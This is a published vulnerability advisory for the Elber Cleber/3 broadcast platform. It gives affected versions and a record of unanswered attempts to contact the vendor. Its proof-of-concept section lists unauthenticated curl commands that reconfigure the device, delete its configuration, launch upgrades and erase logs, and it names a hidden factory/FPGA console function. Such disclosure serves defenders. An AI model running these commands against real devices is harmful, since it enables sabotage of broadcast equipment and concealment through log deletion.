Gjoko KrsticZSL-2024-5817Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Device Config
7.3 High
AI Score
Confidence
Low
Title: Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Device Config
Advisory ID: ZSL-2024-5817
Type: Local/Remote
Impact: Security Bypass, Privilege Escalation, System Access, DoS
Risk: (5/5)
Release Date: 17.04.2024
Summary
Cleber offers a powerful, flexible and modular hardware and software platform for broadcasting and contribution networks where customers can install up to six boards with no limitations in terms of position or number. Based on a Linux embedded OS, it detects the presence of the boards and shows the related control interface to the user, either through web GUI and Touchscreen TFT display. Power supply can be single (AC and/or DC) or dual (hot swappable for redundancy); customer may chose between two ranges for DC sources, that is 22-65 or 10-36 Vdc for site or DSNG applications.
Description
The device suffers from an unauthenticated device configuration and client-side hidden functionality disclosure.
Vendor
Elber S.r.l. - <https://www.elber.it>
Affected Version
1.0.0 Revision 7304
1.0.0 Revision 7284
1.0.0 Revision 6505
1.0.0 Revision 6332
1.0.0 Revision 6258
XS2DAB v1.50 rev 6267
Tested On
NBFM Controller
embOS/IP
Vendor Status
[18.08.2023] Vulnerability discovered.
[20.08.2023] Vendor contacted.
[29.09.2023] No response from the vendor.
[09.12.2023] Vendor contacted.
[02.02.2024] No response from the vendor.
[16.03.2024] Vendor contacted.
[16.04.2024] No response from the vendor.
[17.04.2024] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://packetstormsecurity.com/files/178137/>
[2] <https://www.exploit-db.com/exploits/52005>
Changelog
[17.04.2024] - Initial release
[22.05.2024] - Added reference [1] and [2]
Contact
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Device Config
Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.0.0 Revision 7304
1.0.0 Revision 7284
1.0.0 Revision 6505
1.0.0 Revision 6332
1.0.0 Revision 6258
XS2DAB v1.50 rev 6267
Summary: Cleber offers a powerful, flexible and modular hardware and
software platform for broadcasting and contribution networks where
customers can install up to six boards with no limitations in terms
of position or number. Based on a Linux embedded OS, it detects the
presence of the boards and shows the related control interface to the
user, either through web GUI and Touchscreen TFT display. Power supply
can be single (AC and/or DC) or dual (hot swappable for redundancy);
customer may chose between two ranges for DC sources, that is 22-65
or 10-36 Vdc for site or DSNG applications.
Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.
Tested on: NBFM Controller
embOS/IP
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5817
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5817.php
18.08.2023
--
# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp=''
Configuration applied
# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'
File delete successfully
# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'
Upgrade launched Successfully
# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2
Logs erased
# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month
# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'
RX Config Applied Successfully
# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()
# Etc.
</p></body></html>7.3 High
AI Score
Confidence
Low